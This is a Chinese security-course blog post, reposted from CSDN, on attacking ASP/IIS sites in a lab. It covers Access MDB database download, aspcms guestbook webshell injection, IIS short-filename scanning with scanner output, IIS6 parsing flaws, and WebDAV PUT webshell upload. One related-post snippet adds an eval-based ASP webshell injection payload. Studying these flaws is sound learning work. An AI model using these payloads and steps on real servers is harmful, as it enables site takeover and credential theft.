WEB攻防-asp安全

IIS6.0漏洞之短文件名猜解复现 1.短文件名产生背景 为了兼容16位MS-DOS程序,Windows为文件名较长的文件和文件夹生成了对应的DOS 8.3 短文件名。一般来说,文件名长度超过9位,就会显示短文件名 。 2.短文件名命名格式 全部大写 显示6位 超过6位用~1表示 不显示特殊字符 后缀最多显示三位,其余的被截断 3.短文件名查看方式 在window下的cmd中输入dir /x命令即可查看短文件名。如... 阅读详情

WEB攻防-ASP安全

一、ASP安全&MDB下载植 入&IIS短文件名&写权限&解析

1、ASP环境搭建组合
2、ASP-数据库下载&植入
3、IIS-短文件&解析&写权限
核心点:关注于该语言开发的特性漏洞,通用性漏洞不区分语言

1、ASP-环境搭建组合

windows iis asp access/sql server

iis中间件***

asp开发源码漏洞***

数据库安全问题:较少

windows安全漏洞:较少

2、ASP-数据库-MDB默认下载

access数据库一般后缀名mdb(下载)、asp 、asa (执行解析)

mdb文件在网站目录下,思路:如果知道数据库的地址,可尝试下载获取数据库文件,获取当前管理员账号密码信息。

默认下载:使用asp+access数据库,却不修改默认mdb地址。IIS不能解析MDB文件,当成普通文件下载。(文件服务器端不会解释,客户端浏览器也不会解释,所以就下载到本地。)

思路:位置地址:如果没有修改默认数据库文件位置可尝试默认数据库配置(即本地搭建后默认存放的数据库文件与其他文件位置(比如admin后台管理页面等),没修改。)或采用扫描

1.IIS 5.x/6.0解析漏洞

2.目录解析:在网站下建立文件夹的名称中带有.asp,.asa等可执行脚本文件后缀为后缀的文件夹,其目录内的任何扩展名的文件都被IIS当作可执行文件来解析并执行。

3.http://www.xxx.com/xx.asp/xx.jpg

4.文件解析:在IIS6.0下,分号后面的不被解析,也就是说6.0下,分号后面的不被解析,也就是说xx.asp;.jpg将被当做xx.asp解析并执行。http://www.xxx.com/xx.asp;.jpg 在文件改名时也可以尝试 xx.asp;jpg

5.IIS6.0 默认的可执行文件有asp、asa、cer、cdx四种。

6.注意:这两个漏洞,是需要在服务器的本地硬盘上确实存在这样的文件或者文件夹,若只是通过web应用映射出来的Url,则是无法触发的。

IIS6.0把asp、asa、cdx、cer解析成asp文件,原因是这四种扩展名都是用的同一个asp.dll文件来执行。而对于mdb:IIS不能解析MDB文件,当成普通文件下载。
在这里插入图片描述

以动易网络cms为例:若使用动易网络cms的网站不修改默认数据库及其他文件路径可通过默认路径得到数据库文件进而得到网站管理员账号密码,对于网站管理员后台也可采用同样的思路。

http://192.168.49.146/Database/PowerEasy2006.mdb
http://192.168.49.146/Admin/Admin_Login.asp

3、ASP-数据库-ASP后门植入连接

数据库是asp,asp可解析,向asp数据库文件写入一句话木马可以直接连上去,此时访问数据库文件将会被服务器当成代码文件执行,所以图片里面的代码就会被执行。

以aspcms为例:

aspcms主要是信息发布系统,数据库默认配置为asp,目录在/data/data.asp下。

漏洞成因:在留言板处对信息处理不当,导致代码注入。可直接将一句话木马插入数据库。

利用方法:保证默认数据库路径未更改且可留言。

┼攠數畣整爠煥敵瑳∨≡┩愾

菜刀测试效果:在这里插入图片描述

4、ASP-中间件-IIS短文件名探针-安全漏洞

为兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。

在Windows下查看对应的短文件名,可以使用命令 dir /x

由于短文件名的长度固定,可直接对短文件名进行暴力破解,从而访问对应的文件。

短文件名特征:

\1)  只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。

\2)  后缀名最长只有3位,多余的被截断。

\3)  访问构造的某个存在的短文件名,会返回404

\4)  访问构造的某个不存在的短文件名,会返回400
漏洞局限性:

1)   只能猜解前六位,以及扩展名的前3位

2)   名称较短的文件是没有相应的短文件名

3)   需要IIS和.net两个条件都满足
漏洞利用:

需要使用到通配符。在windows中,可以匹配n个字符,n可以为0。判断某站点是否存在IIS短文件名暴力破解,构造payload
1

用途:

探针网站目录结构,可探针数据库或后台地址。利用工具:iis_shortname_Scan.py

以aspcms为例:

E:\python2.7>python2.exe ./IIS_shortname_Scanner-master\IIS_shortname_Scanner-master/IIS_shortname_Scan.py  http://192.168.49.146:81/
Server is vulnerable, please wait, scanning...
[+] /a~1.*      [scan in progress]
[+] /p~1.*      [scan in progress]
[+] /t~1.*      [scan in progress]
[+] /ad~1.*     [scan in progress]
[+] /pr~1.*     [scan in progress]
[+] /te~1.*     [scan in progress]
[+] /adm~1.*    [scan in progress]
[+] /pro~1.*    [scan in progress]
[+] /tem~1.*    [scan in progress]
[+] /admi~1.*   [scan in progress]
[+] /prod~1.*   [scan in progress]
[+] /temp~1.*   [scan in progress]
[+] /admin~1.*  [scan in progress]
[+] /produ~1.*  [scan in progress]
[+] /templ~1.*  [scan in progress]
[+] /admin_~1.* [scan in progress]
[+] /produc~1.* [scan in progress]
[+] /templa~1.* [scan in progress]
[+] /admin_~1   [scan in progress]
[+] Directory /admin_~1 [Done]
[+] /produc~1   [scan in progress]
[+] Directory /produc~1 [Done]
[+] /templa~1   [scan in progress]
[+] Directory /templa~1 [Done]
----------------------------------------------------------------
Dir:  /admin_~1
Dir:  /produc~1
Dir:  /templa~1
----------------------------------------------------------------
3 Directories, 0 Files found in total
Note that * is a wildcard, matches any character zero or more times.

5、ASP-中间件-IIS文件上传解析-安全漏洞

IIS6.0解析漏洞

在 Windows 2003 IIS 6.0 下有两个漏洞,IIS 6.0并不是只根据文件的最后一个后缀名来判断文件的运行方式,这就引发了IIS目录解析漏洞和文件名解析漏洞。

IIS目录解析漏洞

对于名字为.asp后缀的文件夹,IIS会将该文件夹内部的文件都解析为.asp文件来执行。即a.asp/1.jpg中的1.jpg会作为asp文件执行。

IIS文件名解析漏洞

对于名字诸如a.asp;.jpg文件,IIS并非以最后一个后缀名来判断格式,故会将其解析为asp文件并执行。即如果上传木马的后缀为 .asp;.jpg 就可以被服务器执行。

IIS6.0 默认的可执行文件除了asp还包含asa\cer\cdx这三种。

//文件名解析
http://192.168.49.146:81/a.asp;.jpg
//文件目录解析
http://192.168.49.146:81/a.asp/1.jpg

6、ASP-中间件-IIS配置目录读写-安全配置

在web服务扩展中开启了WebDAV,配置了可以写入的权限,存在PUT任意文件写入漏洞。

利用方式:桂林老兵iiswrite,用PUT / MOVE 之类的请求方式往服务器传后门文件,然后改文件名使用菜刀连接。

以本地搭建的web网站为例:

(1)开启WebDAV与写入权限,使用iisputscanner扫描

(2)使用桂林老兵iisWriter上传webshell到服务器,首先上传一个txt文件,上传之后再重命名为asp文件。

第一步:选择PUT上传webshell,后缀为txt,然后提交数据包,会在服务端上传一个test.txt文件:

第二步:test.txt无法被iis解析,利用MOVE将txt的文件修改为可解析执行的asp,但是直接上传失败,利用文件解析漏洞再次上传成功。

第三步:使用中国菜刀连接成功

7、总结

web攻防:大部分集中在前两个

1、web源码***

2、开发语言***

3、中间件平台(和某些漏洞配合)

4、数据库类型

5、第三方插件或软件
————————————————
转自:https://blog.youkuaiyun.com/qq_44867432/article/details/122365743

【漏洞复现】AspCMS commentList.asp SQL注入 技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!AspCMS commentList.asp 存在SQL注入漏洞,攻击者通过漏洞可以获取管理员md5的密码,进行解密后登录获取敏感数据。1.利用如下POC可获取管理员MD5的密码。 阅读详情

相关推荐

复现 ASPCMS企业建站系统Cookies欺骗漏洞

ASPCMS是基于ASP+Access(sql2000)开发的网站内容管理系统。 ASPCMS2.0存在sql注入注入漏洞,可获得admin管理员用户的cookie值。

记录并分享学习安全的知识点.. 1357

ASP-CMS漏洞

在slideTextStatus=1后面写上%25><%25eval(request(chr(65)))%25><%25。我们在去访问这个文件config/AspCms_Config.asp再去蚁剑连接,连接成功。打开aspcms靶场。

mirliasheong的博客 615

批量注入ASPCMS获得管理后台权限

批量注入ASPCMS获得管理后台权限,很好的东西

aspcms后台拿shell漏洞(非添加模块)及修复方法

aspcms在老版本中可以通过添加模板直接添加asp.但是新版的aspcms中已经限制了添加模板的格式为html,js,css,当然如果是遇到iis6的话还是可以通过iis6的解析漏洞把文件名改成1.asp;.html这样的格式来拿到shell的.可是如果遇到iis7.5呢?以下是本人自己找到挖掘到的aspcms通杀版本的后台拿shell方法.1、进入后台,“扩展功能”--...

weixin_34122548的博客 3368

iis 短文件名泄露 验证工具

iis 的短文件名泄露,可以用这个工具校验, python 和JAVA版的都有

微处理器实验报告-实验四

实验四 可编程定时/计数器8253实验 一、实验要求 利用8086外接8253可编程定时/计数器,可以实现方波的产生。 二、实验目的 1、学习8086与8253的连接方法。 2、学习8253的控制方法。 3、掌握8253定时器/计数器的工作方式和编程原理

青竹小轩的博客 5112

WEB攻防-ASP安全

WEB攻防-ASP安全 一、ASP安全&MDB下载植入&IIS短文件名&写权限&解析 #知识点: 1、ASP环境搭建组合 2、ASP-数据库下载&植入 3、IIS-短文件&解析&写权限 核心点:关注于该语言开发的特性漏洞,通用性漏洞不区分语言 1、ASP-环境搭建组合 windows iis asp access/sql server iis中间件*** asp开发源码漏洞*** 数据库安全问题:较少 windows安全漏洞:较少 2、ASP-数据库

qq_44867432的博客 3670

如何在SendWS实现WhatsApp批量群发设置管理?WhatsApp群发超链有什么好处?

WhatsApp群发顾名思义就是对WhatsApp上的用户好友进行群发消息,给他们群发想要发送的消息。及时不认识对方也可以对他进行群发超链。越来越多做跨境出海运营的工作者利用WhatsApp进行营销推广,因为他能做到低成本高回报,向客户发送消息曝光自己的品牌或产品,使得更多人了解,拓展新客户,提高成交率。

SendWS-WS云控群控拓客聊天翻译 1169

WEB攻防-ASP安全-MDB下载

MDB下载漏洞主要涉及到早期ASP+Access构架的数据库文件。当Web站点提供文件下载功能时,如果没有对下载请求进行充分的验证和过滤,或者服务器配置不当,就可能产生文件下载漏洞。攻击者可以利用这个漏洞,通过修改请求参数或尝试猜测或遍历服务器上的文件路径,从而绕过正常的访问控制,下载到不应该被访问到的文件,包括数据库文件(如MDB文件)。windows2003环境搭建案例来复现漏洞安装并启动IIS选择网站–>默认网站–>右键–>打开或直接打开C:\inetpub\wwwroot。

Karka_的博客 1631

洪水风险图制作全流程:HEC-RAS 与 ArcGIS 的耦合应用

本文系统介绍HEC-RAS水动力模拟软件在水利工程中的应用技术。内容涵盖:1)软件理论与安装;2)一维地形数据导入与河网构建;3)恒定流/非恒定流计算及模型调试要点;4)构筑物建模技术(桥梁、堰闸等);5)二维水动力模拟与溃坝分析;6)洪水风险图绘制。重点讲解水面线调试、糙率选取、报错分析等实操难点,通过案例教学实现从基础到工程应用的全流程技术掌握。该培训适用于防洪评价、河道治理等水利工程数值模拟需求。

2403_89974123的博客 1050

香橙派5使用RK3588S内置NPU加速yolov5推理,实时识别数字达到50fps

香橙派5采用了RK3588S,内置的NPU达到了6Tops的算力,博主这里记录一下自己的踩坑过程,好不容易做出来的不能以后忘记了(手动狗头)。这里博主还在B站上发布了效果视频,大家感兴趣的话可以看一下。其中解决了先验框标注位置不对,或者出现非常多的框的问题

weixin_51651698的博客 2万+

WEB攻防-ASP安全-ASP后门植入连接

创建一个文本文件,输入一句话木马b,然后另存为ANSI编码。使用winhex打开刚创建的文本文件,将光标定位到首位,选择编辑-->粘贴0字节,添加2个字节。提交后文本被过滤了,所以菜刀无法连接,需要使用其他方法绕过过滤。将添加的两个字节改为FFFE, 保存再打开该文件,就完成了转码。会被执行解析,所以当进行访问时,会直接以asp的形式进行执行。根据asp被执行的特性,就可以使用菜刀执行连接了。┼攠數畣整爠煥敵瑳∨慡≡┩戾。配置启用父路径和主页指向。

weixin_45534587的博客 937

Nvidia Isaac Sim安装与配置 入门教程 2024(2)

Isaac Sim 安装和配置教程将指导用户完成从下载软件到设置和运行仿真的全过程。教程内容包括安装必要的依赖项、配置系统环境、配置Omniverse环境以及调试和优化仿真环境的步骤。通过详细的操作步骤和图文并茂的说明,用户可以快速上手 Isaac Sim,构建出高质量的机器人仿真环境,实现其研究和应用目标。

m0_56661101的博客 2万+

【小迪安全2023】第11天:信息打点-红队工具篇&Fofa&Quake&Kunyu&Suize水泽&Ar灯塔;第18天:WEB攻防-ASP安全&MDB下载植入&IS短文件名&写权限&解析

第11天:信息打点-红队工具篇&Fofa&Quake&Kunyu&Suize水泽&Ar灯塔;第18天:WEB攻防-ASP安全&MDB下载植入&IS短文件名&写权限&解析

人若无名,便可专心练剑 1389

【项目实战】AES实施应符合NIST密码算法验证程序

AES由美国国家标准与技术研究院(NIST)制定。NIST是负责开发和维护美国政府使用的技术标准的机构,包括加密标准。

奶爸的编程之路,也就一周冷个三天 766

PointNet++改进策略目录

后续我将如何使用文章中创新点加入的PointNet++中代码实现部分进行更新。

u012901740的博客 2196

小迪安全18WEB 攻防-ASP 安全&MDB 下载植入&IIS 短文件名&写权限&解析

原因:数据库后缀为.asp文件,所以当我们留言时,数据会存储到数据库里,.asp是直接执行的,所以当我们植入一个木马向数据库时,数据库会以.asp形式将此木马直接执行。.mdb之所以是以下载的形式,是因为在配置文件中,没有对.mdb的文件进行配置,所导成的。通过文件名为a.asp,里面的1.jpg由1.asp组成,因为识别为.asp文件,所以会将1.jpg里的代码进行实现。此时看它的数据库文件,为.asp,所以当进行访问时,会直接以asp的形式进行执行。4.ASP-中间件-IIS 文件上传解析-安全漏洞。

weixin_73760178的博客 969

FFDNet-pytorch版本代码训练教程

该文章为FFDNet-pytorch版本代码训练教程,抓紧订阅学习!尽早入门发论文哦!

假技术Po主 1507

WEB攻防-ASP安全&MDB下载植入&IIS短文件名&写权限&解析

可以通过扫描得到数据库文件路径,或者如果有网站源码,可以根据默认配置(目标服务器没有该配置的情况下)扫描到之后,用下面的工具(不支持win10)把木马文件put到服务器,上传后修改文件名为可解析文件。通过留言写入后门,在通过菜刀访问.asp时,就会执行后门。ASP-中间件-IIS短文件名探针-安全漏洞。ASP-中间件-IIS文件上传解析-安全漏洞。ASP-中间件-IIS配置目录读写-安全配置。ASP-数据库-ASP后门植入连接。2、ASP-数据库下载&植入;ASP-数据库-MDB默认下载。

2301_78384345的博客 624

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

小迪安全课程笔记 2024(十四)

这是第四章节了,也是讲我们这个web攻防这个课程了哈,这个也是继安全开发之后的第四章节了,那么这个章节呢我们先简单的给大家说一下,大概一个章节的内容啊,从这个设导图上面看呢,就是分了大概四五个方向。那就关于这个什么几个语言的呀,像这个JS的呀,pp的呀,点net呀,java呀是吧,这些主流的一些语言的上面一些安全漏洞,然后呢再来说一下上面的框架漏洞,最后呢再来说一下这个什么。

龙哥盟 1077

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

网安之web攻防第十八天

1、ASP环境搭建组合 2、ASP-数据库下载_x0005_&植入 3、IIS-短文件&解析&写权限

B_l_a_nk的博客 524

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

【小迪安全41天】WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

本文分析了ASP+Access架构及IIS服务器的安全风险。ASP+Access组合存在数据库文件下载、SQL注入等漏洞;IIS常见漏洞包括HTTP.SYS拒绝服务、短文件信息泄露和文件解析漏洞。攻击者可利用这些漏洞获取敏感数据、执行代码或导致系统崩溃。防御措施包括:隔离数据库文件、禁用短文件名、严格输入验证、及时更新补丁等。特别强调ASP+Access已属过时架构,学习重点应理解漏洞原理而非具体技术,现代系统应迁移至更安全的技术栈。文中还警示HTTP.SYS漏洞的法律风险,并提供区分真假注入点的方法。

2401_89209088的博客 658
上一篇: 重放攻击
下一篇: 反弹SHELL&不回显带外&正反向连接&文件下载
K丶0x01
博客等级 码龄7年 30粉丝 3原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值